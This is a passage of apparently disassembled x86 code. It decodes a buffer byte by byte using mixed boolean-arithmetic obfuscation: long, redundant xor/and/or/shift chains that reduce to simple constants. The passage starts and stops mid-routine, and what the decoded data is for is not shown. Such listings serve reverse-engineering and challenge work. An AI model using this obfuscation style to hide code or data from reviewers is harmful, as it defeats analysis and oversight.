xor cl, 0xff
mov byte [0x47486a], cl
mov al, byte [0x47466b]
mov cl, al
and cl, 0xd3
shl cl, 1
mov dl, al
add dl, 0xd3
sub dl, cl
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0xd3
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0xd3
and dl, 0x2c
sub dl, cl
sub al, dl
mov byte [0x47486b], al
mov al, byte [0x47466c]
xor al, 0xf1
mov byte [0x47486c], al
mov al, byte [0x47466d]
mov cl, al
xor cl, 0xff
and cl, 0x7f
mov dl, al
and dl, 0x80
or cl, dl
xor cl, 0x80
and cl, 0xd4
and al, 0x2b
or cl, al
mov byte [0x47486d], cl
mov al, byte [0x47466e]
mov ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov cl, al
xor cl, 0xff
or ah, cl
and ah, 0xc7
mov dl, ah
xor dl, 0xff
and dl, 0x25
and ah, 0xda
or dl, ah
xor dl, 0xda
and al, 0x38
mov cl, al
xor cl, 0xff
xor al, 0xff
and cl, al
or cl, 0
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
and dl, cl
xor dl, 0xff
mov byte [0x47486e], dl
mov al, byte [0x47466f]
xor al, 0x1f
mov byte [0x47486f], al
mov dl, byte [0x474670]
mov cl, dl
or cl, cl
xor cl, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
or al, 0xb6
xor al, 0xff
or dl, 0x49
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
and al, al
xor al, 0xff
and dl, dl
xor dl, 0xff
and al, dl
xor al, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov byte [0x474870], al
mov al, byte [0x474671]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xff
or cl, 0
mov dl, cl
xor dl, 0xff
xor cl, 0xff
or dl, cl
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
mov cl, dl
and cl, 0x55
xor cl, 0xff
add dl, 0x55
add dl, 1
add dl, cl
xor al, 0xff
or al, 0xaa
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x474871], dl
mov al, byte [0x474672]
mov cl, al
and cl, 0x24
shl cl, 1
add al, 0x24
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x474872], al
mov al, byte [0x474673]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
and dl, 0x5c
mov cl, al
add cl, 1
xor al, 0xff
or al, 0xa3
add al, cl
mov ah, dl
xor ah, 0xff
xor dl, 0xff
or ah, dl
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor ah, 0xff
xor cl, 0xff
or ah, cl
mov byte [0x474873], ah
mov al, byte [0x474674]
mov cl, al
xor cl, 0xff
and cl, 0xb0
and al, 0x4f
or cl, al
xor cl, 0x3e
mov byte [0x474874], cl
mov al, byte [0x474675]
xor al, 0x50
mov byte [0x474875], al
mov al, byte [0x474676]
xor al, 0x70
mov byte [0x474876], al
mov al, byte [0x474677]
xor al, 0xbf
mov byte [0x474877], al
mov al, byte [0x474678]
xor al, 0xb6
mov byte [0x474878], al
mov al, byte [0x474679]
xor al, 0xf2
mov byte [0x474879], al
mov al, byte [0x47467a]
xor al, 0x5d
mov byte [0x47487a], al
mov al, byte [0x47467b]
mov cl, al
xor cl, 0xff
and cl, 0x39
and al, 0xc6
or cl, al
mov byte [0x47487b], cl
mov al, byte [0x47467c]
xor al, 0x8a
mov byte [0x47487c], al
mov al, byte [0x47467d]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0x86
xor cl, 0xff
xor al, 0xff
or al, 0x86
and cl, al
xor cl, 0xff
mov byte [0x47487d], cl
mov al, byte [0x47467e]
mov cl, al
and cl, 0x94
shl cl, 1
add al, 0x94
xor edx, edx
sub dl, cl
add al, dl
mov byte [0x47487e], al
mov al, byte [0x47467f]
mov cl, al
xor cl, 0x91
xor cl, 0xff
and cl, 0x91
shl cl, 1
add cl, 0x6f
sub al, cl
mov byte [0x47487f], al
mov al, byte [0x474680]
mov cl, al
xor cl, 0xff
and cl, 0xb1
and al, 0x4e
or cl, al
xor cl, 0x4e
mov byte [0x474880], cl
mov al, byte [0x474681]
mov cl, al
and cl, 0x63
shl cl, 1
mov dl, al
add dl, 0x63
sub dl, cl
xor dl, 0xff
xor dl, 0xff
xor dl, 0x63
and dl, 0x63
shl dl, 1
sub dl, 0x63
sub al, dl
mov byte [0x474881], al
mov al, byte [0x474682]
mov cl, al
xor cl, 0xff
and cl, 0x44
and al, 0xbb
or cl, al
xor cl, 0xee
mov byte [0x474882], cl
mov al, byte [str.p_Go]
xor al, 0x77
mov byte [0x474883], al
mov al, byte [0x474684]
mov cl, al
xor cl, 0xff
and cl, 0x89
and al, 0x76
or cl, al
xor cl, 0xb0
mov byte [0x474884], cl
mov al, byte [0x474685]
xor al, 0x7a
mov byte [0x474885], al
mov al, byte [0x474686]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x40
or al, 0x40
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474886], dl
mov al, byte [0x474687]
mov cl, al
xor cl, 0xff
and cl, 0x68
and al, 0x97
or cl, al
mov byte [0x474887], cl
mov dl, byte [0x474688]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
or al, 0x3e
xor cl, 0xff
or cl, 0x3e
and al, cl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or cl, 0xc1
and dl, 0x3e
xor dl, 0xff
and cl, dl
xor cl, 0xff
or al, cl
xor al, 0x66
mov byte [0x474888], al
mov al, byte [0x474689]
mov ah, al
and ah, ah
xor ah, 0xff
xor ah, 0xff
or ah, 0
and ah, 0xff
xor ah, 0xff
mov dl, ah
xor dl, 0xff
or dl, 0xa0
xor ah, 0xff
or ah, 0xa0
xor dl, 0xff
xor ah, 0xff
or dl, ah
and al, 0xa0
and dl, dl
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor al, 0xff
or cl, al
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0x42
mov byte [0x474889], dl
mov al, byte [0x47468a]
mov cl, al
and cl, 0x35
shl cl, 1
add al, 0x35
sub al, cl
mov byte [0x47488a], al
mov al, byte [0x47468b]
xor al, 0xf7
mov byte [0x47488b], al
mov al, byte [0x47468c]
mov cl, al
xor cl, 0xff
and cl, 0xb1
mov dl, al
xor dl, 0xff
xor al, 0xff
and dl, al
xor dl, 0xff
and dl, 0x4e
or cl, dl
mov byte [0x47488c], cl
mov al, byte [0x47468d]
xor al, 0x4b
mov byte [0x47488d], al
mov al, byte [0x47468e]
mov cl, al
and cl, 0x8a
shl cl, 1
add al, 0x8a
sub al, cl
mov byte [0x47488e], al
mov al, byte [0x47468f]
mov cl, al
and cl, 0xe6
shl cl, 1
add al, 0xe6
sub al, cl
mov byte [0x47488f], al
mov al, byte [0x474690]
mov cl, al
xor cl, 0xff
and cl, 0x40
and al, 0xbf
or cl, al
xor cl, 0xcc
mov byte [0x474890], cl
mov al, byte [0x474691]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0x55
or al, 0x55
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474891], dl
mov al, byte [0x474692]
xor al, 0x4a
mov byte [0x474892], al
mov al, byte [0x474693]
mov cl, al
xor cl, 0xe1
xor cl, 0xff
and cl, 0xe1
shl cl, 1
sub cl, 0xe1
sub al, cl
mov byte [0x474893], al
mov dl, byte [0x474694]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
mov cl, al
xor cl, 0x81
xor cl, 0xff
or al, 0x81
and al, cl
and dl, 0x7e
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
xor al, 0xa8
mov byte [0x474894], al
mov al, byte [0x474695]
xor al, 0x44
mov byte [0x474895], al
mov al, byte [0x474696]
mov cl, al
xor cl, 0xd
xor cl, 0xff
and cl, 0xd
shl cl, 1
sub cl, 0xd
sub al, cl
mov byte [0x474896], al
mov bl, byte [0x474697]
mov al, bl
xor al, 0xcf
xor al, 0xff
and al, 0xcf
shl al, 1
sub al, 0xcf
mov dl, bl
sub dl, al
xor dl, 0xff
and dl, 0xcf
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
sub al, 0xcf
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x474897], bl
mov al, byte [0x474698]
mov dl, al
xor dl, 0xff
mov ah, al
or ah, ah
xor ah, 0xff
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
and dl, dl
xor dl, 0xff
mov cl, ah
xor cl, 0xff
xor ah, 0xff
or cl, ah
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
mov ah, dl
xor ah, 0xff
and ah, 0x3f
xor dl, 0xff
and dl, 0x3f
xor ah, 0xff
xor dl, 0xff
and ah, dl
and al, 0xc0
xor al, 0xff
xor ah, 0xff
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or ah, al
mov byte [0x474898], ah
mov al, byte [0x474699]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x89
xor dl, 0xff
xor al, 0xff
and al, 0x89
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x474899], dl
mov al, byte [0x47469a]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
xor dl, 0xff
or dl, 0x56
xor dl, 0xff
and dl, 0xff
and al, 0x56
or dl, al
mov byte [0x47489a], dl
mov al, byte [0x47469b]
xor al, 0x59
mov byte [0x47489b], al
mov dl, byte [0x47469c]
mov ah, dl
xor ah, 0xff
mov al, dl
xor al, 0xff
or ah, al
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0x37
mov al, ah
xor al, 0xff
and al, 0xa0
and ah, 0x5f
or al, ah
xor al, 0x5f
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
or ah, 0
xor ah, 0xff
xor ah, 0xff
and ah, 0xff
mov cl, ah
and cl, 0x37
xor ah, 0x37
or cl, ah
xor al, 0xff
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47489c], al
mov al, byte [0x47469d]
xor al, 0x1e
mov byte [0x47489d], al
mov al, byte [0x47469e]
mov cl, al
xor cl, 0xda
xor cl, 0xff
and cl, 0xda
shl cl, 1
sub cl, 0xda
sub al, cl
mov byte [0x47489e], al
mov al, byte [0x47469f]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x61
xor dl, 0xff
and al, 0x9e
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x47489f], dl
mov al, byte [0x4746a0]
xor al, 0x1a
mov byte [0x4748a0], al
mov al, byte [0x4746a1]
mov cl, al
and cl, 0xff
shl cl, 1
mov ah, al
add ah, 0xff
sub ah, cl
mov dl, ah
and dl, 0x26
xor dl, 0xff
xor ah, 0xff
or ah, 0xd9
and dl, ah
xor dl, 0xff
and al, 0xd9
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0xd
mov byte [0x4748a1], cl
mov al, byte [0x4746a2]
mov cl, al
xor cl, 0xff
and cl, 0x2e
and al, 0xd1
or cl, al
mov byte [0x4748a2], cl
mov al, byte [0x4746a3]
xor al, 0x7b
mov byte [0x4748a3], al
mov al, byte [0x4746a4]
xor al, 0xa0
mov byte [0x4748a4], al
mov al, byte [0x4746a5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x25
xor dl, 0xff
xor al, 0xff
or al, 0x25
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4748a5], dl
mov al, byte [0x4746a6]
mov cl, al
xor cl, 0xff
and cl, 0xbd
and al, 0x42
or cl, al
mov byte [0x4748a6], cl
mov dl, byte [0x4746a7]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, al
xor al, 0xff
and al, 0xc5
xor al, 0xff
and dl, 0x3a
xor dl, 0xff
and al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x4748a7], al
mov al, byte [0x4746a8]
xor al, 0xc8
mov byte [0x4748a8], al
mov al, byte [0x4746a9]
mov cl, al
xor cl, 0xff
mov dl, cl
xor dl, 0x2d
xor dl, 0xff
or cl, 0x2d
and cl, dl
and al, 0xd2
or cl, al
xor cl, 0x2f
mov byte [0x4748a9], cl
mov al, byte [0x4746aa]
xor al, 0xff
mov byte [0x4748aa], al
mov al, byte [0x4746ab]
mov cl, al
xor cl, 0xff
and cl, 0xc4
and al, 0x3b
or cl, al
xor cl, 0xee
mov byte [0x4748ab], cl
mov al, byte [0x4746ac]
mov dl, al
xor dl, 0xff
or dl, 0x2b
mov cl, al
xor cl, 0xff
or cl, 0x2b
and dl, cl
xor dl, 0xff
shl dl, 1
add al, 0xd4
sub al, dl
mov byte [str._C], al
mov al, byte [0x4746ad]
mov cl, al
and cl, 0x4d
shl cl, 1
add al, 0x4d
sub al, cl
mov byte [0x4748ad], al
mov al, byte [0x4746ae]
xor al, 0xd4
mov byte [0x4748ae], al
mov dl, byte [0x4746af]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
or al, cl
xor al, 0xff
and al, 0xff
xor al, 0xff
xor al, 0xff
and al, al
xor al, 0xff
and al, 0x6c
xor al, 0xff
xor dl, 0xff
or dl, 0x6c
mov cl, al
xor cl, dl
xor cl, 0xff
or al, dl
and al, cl
xor al, 0xff
mov byte [0x4748af], al
mov al, byte [0x4746b0]
xor al, 0xc6
mov byte [0x4748b0], al
mov al, byte [0x4746b1]
mov cl, al
and cl, 0xdb
shl cl, 1
add al, 0xdb
sub al, cl
mov byte [0x4748b1], al
mov al, byte [0x4746b2]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xd0
xor dl, 0xff
and al, 0x2f
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4748b2], dl
mov al, byte [0x4746b3]
xor al, 0xae
mov byte [0x4748b3], al
mov al, byte [0x4746b4]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x46
xor dl, 0xff
xor al, 0xff
or al, 0x46
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x4748b4], dl
mov al, byte [0x4746b5]
xor al, 0x19
mov byte [0x4748b5], al
mov al, byte [0x4746b6]
mov dl, al
xor dl, 0xff
and dl, 0xe6
mov cl, al
and cl, 0x19
or dl, cl
xor dl, 0x19
mov cl, al
xor cl, 0xff
mov ah, cl
and ah, dl
xor ah, 0xff
add dl, cl
add dl, 1
add dl, ah
xor dl, 0xff
or dl, 0xe9
xor al, 0xff
or al, 0x16
xor dl, 0xff
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
or dl, al
mov byte [0x4748b6], dl
mov al, byte [0x4746b7]
xor al, 0x12
mov byte [0x4748b7], al
mov al, byte [0x4746b8]
xor al, 0xd5
mov byte [0x4748b8], al
mov ah, byte [0x4746b9]
mov al, ah
and al, al
xor al, 0xff
xor al, 0xff
or al, 0x3a
and ah, 0x3a
mov dl, ah
xor dl, 0xff
and dl, 0x76
and ah, 0x89
or dl, ah
xor dl, 0x89
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
or al, dl
mov byte [0x4748b9], al
mov al, byte [0x4746ba]
xor al, 0x11
mov byte [0x4748ba], al
mov al, byte [0x4746bb]
xor al, 0x8a
mov byte [0x4748bb], al
mov al, byte [0x4746bc]
mov cl, al
xor cl, 0xff
and cl, 0x84
and al, 0x7b
or cl, al
xor cl, 0x5c
mov byte [0x4748bc], cl
mov al, byte [0x4746bd]
xor al, 0x23
mov byte [0x4748bd], al
mov al, byte [0x4746be]
mov cl, al
xor cl, 0xff
and cl, 0x6e
and al, 0x91
or cl, al
mov byte [0x4748be], cl
mov al, byte [0x4746bf]
xor al, 0xfb
mov byte [0x4748bf], al
mov al, byte [0x4748c0]
mov cl, al
xor cl, 0xff
and cl, 0x61
and al, 0x9e
or cl, al
xor cl, 0x78
mov byte [0x474940], cl
mov al, byte [0x4748c1]
mov dl, al
xor dl, 0xff
and dl, 0xff
or dl, 0
mov cl, dl
xor cl, 0x73
xor cl, 0xff
or dl, 0x73
and dl, cl
and al, 0x8c
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0x53
and dl, 0xac
mov cl, bl
and cl, 0x53
and al, 0xac
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
mov byte [0x474941], dh
mov al, byte [0x4748c2]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x2d
mov cl, al
and cl, 0x2d
xor cl, 0xff
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0x2d
add dl, 0xd3
shl dl, 1
sub dl, 0xd2
add al, 0xea
sub al, dl
sub al, 0xea
mov byte [0x474942], al
mov al, byte [0x4748c3]
xor al, 0xfd
mov byte [0x474943], al
mov al, byte [0x4748c4]
xor al, 0xce
mov byte [0x474944], al
mov al, byte [0x4748c5]
mov cl, al
xor cl, 0x35
xor cl, 0xff
and cl, 0x35
shl cl, 1
sub cl, 0x35
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x474945], al
mov bl, byte [0x4748c6]
mov dl, bl
and dl, 0xca
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0xca
mov cl, bl
xor cl, al
xor al, 0xff
and bl, al
shl bl, 1
sub bl, cl
mov byte [0x474946], bl
mov dl, byte [str.___e]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
or cl, cl
xor cl, 0xff
or al, cl
xor al, 0xff
xor al, 0xff
and al, 0xff
or al, 0
and al, 0x3a
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or dl, 0x3a
and al, dl
xor al, 0xff
mov byte [0x474947], al
mov dl, byte [0x4748c8]
mov al, dl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov cl, al
xor cl, 0xeb
xor cl, 0xff
or al, 0xeb
and al, cl
and dl, 0x14
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0x23
xor dl, 0xff
and al, 0xdc
xor al, 0xff
and dl, al
xor dl, 0xff
mov byte [0x474948], dl
mov dl, byte [0x4748c9]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
xor al, 0xff
xor al, 0x85
and al, 0x85
mov cl, dl
xor cl, 0xff
or cl, 0x85
and dl, 0x7a
xor dl, 0xff
and cl, dl
xor cl, 0xff
or al, cl
mov byte [0x474949], al
mov al, byte [0x4748ca]
mov cl, al
xor cl, 0xff
and cl, 0x9a
and al, 0x65
or cl, al
xor cl, 0xa9
mov byte [0x47494a], cl
mov al, byte [0x4748cb]
xor al, 0x33
mov byte [0x47494b], al
mov al, byte [0x4748cc]
xor al, 0xc
mov byte [0x47494c], al
mov al, byte [0x4748cd]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xf4
or al, 0xf4
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47494d], dl
mov al, byte [0x4748ce]
mov cl, al
xor cl, 0xff
and cl, 0xcd
and al, 0x32
or cl, al
mov al, cl
and al, 0x1a
shl al, 1
add cl, 0x1a
sub cl, al
mov byte [0x47494e], cl
mov al, byte [0x4748cf]
xor al, 0x3b
mov byte [0x47494f], al
mov al, byte [0x4748d0]
mov cl, al
xor cl, 0xff
and cl, 0x67
and al, 0x98
or cl, al
mov byte [0x474950], cl
mov al, byte [0x4748d1]
xor al, 0x3b
mov byte [0x474951], al
mov al, byte [0x4748d2]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, al
or cl, cl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
xor cl, 0xff
and cl, 0xff
and dl, cl
mov ah, dl
or ah, 0x9c
xor ah, 0xff
xor dl, 0xff
and dl, 0x63
or ah, dl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
or al, 0x63
xor al, 0xff
or dl, al
xor dl, 0xff
mov byte [0x474952], dl
mov cl, byte [0x4748d3]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
xor al, 0xff
or al, 0x24
xor cl, 0xff
or cl, 0xdb
and al, cl
xor al, 0xff
mov byte [0x474953], al
mov al, byte [0x4748d4]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0xff
or dl, 0
xor dl, 0xff
and dl, 0xf0
mov cl, al
xor cl, 0xf
xor cl, 0xff
or al, 0xf
and al, cl
or dl, al
mov byte [0x474954], dl
mov al, byte [0x4748d5]
xor al, 0x91
mov byte [0x474955], al
mov cl, byte [0x4748d6]
mov al, cl
xor al, 0xff
mov dl, cl
xor dl, 0xff
or al, dl
and al, 0x4c
xor al, 0xff
and cl, 0xb3
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x474956], al
mov al, byte [0x4748d7]
mov cl, al
xor cl, 0xd6
xor cl, 0xff
and cl, 0xd6
shl cl, 1
sub cl, 0xd6
sub al, cl
mov byte [0x474957], al
mov al, byte [0x4748d8]
mov dl, al
and dl, 0x3e
xor dl, 0xff
mov cl, al
and cl, 0x3e
xor cl, 0xff
and dl, cl
xor dl, 0xff
shl dl, 1
add al, 0x3e
mov cl, al
xor cl, 0xff
and cl, dl
xor dl, 0xff
and al, dl
sub al, cl
mov byte [0x474958], al
mov al, byte [0x4748d9]
mov cl, al
and cl, 0x22
shl cl, 1
sub al, 0xde
sub al, cl
mov byte [0x474959], al
mov al, byte [0x4748da]
mov dl, al
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x61
xor al, 0xff
and al, 0x9e
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x47495a], dl
mov al, byte [0x4748db]
mov cl, al
xor cl, 0xef
xor cl, 0xff
and cl, 0xef
shl cl, 1
sub cl, 0xef
sub al, cl
mov byte [0x47495b], al
mov al, byte [0x4748dc]
mov dl, al
and dl, dl
xor dl, 0xff
xor dl, 0xff
or dl, 0xef
mov cl, al
xor cl, 0xff
or cl, 0x10
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0x10
shl dl, 1
sub dl, 0x10
xor dl, 0xff
add al, dl
add al, 1
mov byte [0x47495c], al
mov al, byte [0x4748dd]
mov cl, al
xor cl, 0xff
and cl, 0xad
and al, 0x52
or cl, al
mov byte [0x47495d], cl
mov al, byte [0x4748de]
xor al, 0xe1
mov byte [0x47495e], al
mov al, byte [0x4748df]
xor al, 0x43
mov byte [0x47495f], al
mov al, byte [0x4748e0]
xor al, 0x2d
mov byte [0x474960], al
mov dl, byte [0x4748e1]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
xor ah, cl
xor ah, 0xff
or al, cl
and al, ah
xor al, 0xff
mov cl, al
xor cl, 0xba
xor cl, 0xff
or al, 0xba
and al, cl
xor dl, 0xff
and dl, 0x45
or al, dl
xor al, 0xff
mov byte [0x474961], al
mov cl, byte [0x4748e2]
mov al, cl
xor al, 0xff
and al, 0x75
mov dl, cl
and dl, 0x8a
or al, dl
xor al, 0x8a
and al, 0xfd
mov dl, cl
xor dl, 0xfd
and dl, cl
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, cl
mov cl, al
xor cl, dl
add al, cl
sub al, ah
xor al, 0xbd
mov byte [0x474962], al
mov al, byte [0x4748e3]
mov cl, al
and cl, cl
xor cl, 0xff
and cl, 0xcc
xor cl, 0xff
and al, 0x33
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x474963], cl
mov al, byte [0x4748e4]
mov cl, al
xor cl, 0xff
and cl, 0x69
and al, 0x96
or cl, al
xor cl, 0x90
mov byte [0x474964], cl
mov al, byte [0x4748e5]
mov cl, al
xor cl, 0xff
and cl, 0x7c
and al, 0x83
or cl, al
xor cl, 0x77
mov byte [0x474965], cl
mov dl, byte [0x4748e6]
mov dh, dl
xor dh, 0xff
and dh, 0xe4
and dl, 0x1b
mov al, dh
xor al, 0xff
mov cl, dl
xor cl, 0xff
mov ah, al
and ah, 0xc0
and dh, 0x3f
and dl, 0x3f
or ah, dh
or dl, 0xc0
xor ah, dl
or al, cl
xor al, 0xff
and al, 0xff
or ah, al
mov byte [0x474966], ah
mov al, byte [0x4748e7]
xor al, 4
mov byte [0x474967], al
mov al, byte [0x4748e8]
xor al, 0x78
mov byte [0x474968], al
mov al, byte [0x4748e9]
mov cl, al
and cl, 0x75
shl cl, 1
add al, 0x75
sub al, cl
mov byte [0x474969], al
mov al, byte [0x4748ea]
xor al, 0x39
mov byte [0x47496a], al
mov al, byte [0x4748eb]
mov cl, al
and cl, 0xc6
shl cl, 1
mov dl, al
add dl, 0xc6
sub dl, cl
xor dl, 0xff
and dl, 0xc6
shl dl, 1
sub dl, 0xc6
add al, 0x11
sub al, dl
sub al, 0x11
mov byte [0x47496b], al
mov al, byte [0x4748ec]
mov cl, al
and cl, 0x16
shl cl, 1
add al, 0x16
mov dl, al
xor dl, cl
xor cl, 0xff
and al, cl
shl al, 1
sub al, dl
mov byte [0x47496c], al
mov al, byte [0x4748ed]
mov cl, al
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0x67
and al, 0x67
xor al, 0xff
and cl, al
xor cl, 0xff
mov byte [0x47496d], cl
mov al, byte [0x4748ee]
xor al, 0xb5
mov byte [0x47496e], al
mov ah, byte [0x4748ef]
mov al, ah
xor al, 0xff
mov cl, ah
xor cl, 0xff
and al, cl
or al, 0x90
xor al, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0xa9
and ah, 0x56
or dl, ah
xor dl, 0x56
or dl, dl
xor dl, 0xff
xor dl, 0xff
and dl, 0x90
mov cl, al
xor cl, 0xff
and cl, 0x23
and al, 0xdc
or cl, al
xor cl, 0xdc
xor dl, 0xff
and cl, dl
mov byte [0x47496f], cl
mov bl, byte [0x4748f0]
mov dl, bl
and dl, 0x81
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add bl, 0x81
sub bl, al
mov byte [0x474970], bl
mov al, byte [0x4748f1]
mov cl, al
xor cl, 0xd2
xor cl, 0xff
and cl, 0xd2
shl cl, 1
sub cl, 0xd2
sub al, cl
mov byte [0x474971], al
mov al, byte [0x4748f2]
mov dl, al
xor dl, 0xff
and dl, 0xfa
mov cl, al
and cl, 5
or dl, cl
xor dl, 5
or dl, 0x1e
add dl, 0xe2
and al, 0x1e
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, al
xor al, 0xff
xor cl, 0xff
xor al, 0xff
or cl, al
mov byte [0x474972], cl
mov al, byte [0x4748f3]
xor al, 0x56
mov byte [str.jGt_v], al
mov al, byte [0x4748f4]
xor al, 0x9f
mov byte [0x474974], al
mov cl, byte [0x4748f5]
mov al, cl
and al, 0x4c
shl al, 1
xor ebx, ebx
sub bl, cl
add bl, 0xb4
xor edx, edx
sub dl, bl
sub dl, 0xaf
sub dl, al
add dl, 0xaf
mov byte [0x474975], dl
mov al, byte [0x4748f6]
xor al, 0x4c
mov byte [0x474976], al
mov al, byte [0x4748f7]
xor al, 0xf3
mov byte [0x474977], al
mov dl, byte [0x4748f8]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0xbe
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
xor dl, 0xff
and dl, 0xbe
mov ah, al
or ah, dl
xor ah, 0xff
or al, dl
xor al, 0xff
xor ah, 0xff
xor al, 0xff
and ah, al
xor ah, 0xff
and ah, 0xff
or ah, 0
mov byte [0x474978], ah
mov al, byte [0x4748f9]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xb0
